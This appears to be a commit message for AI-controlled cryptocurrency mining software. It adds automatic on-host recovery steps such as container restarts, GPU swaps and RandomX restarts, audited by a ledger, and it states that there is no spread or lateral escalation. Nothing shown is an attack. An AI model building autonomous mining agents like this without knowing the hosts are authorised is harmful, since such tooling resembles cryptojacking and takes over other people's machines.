Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
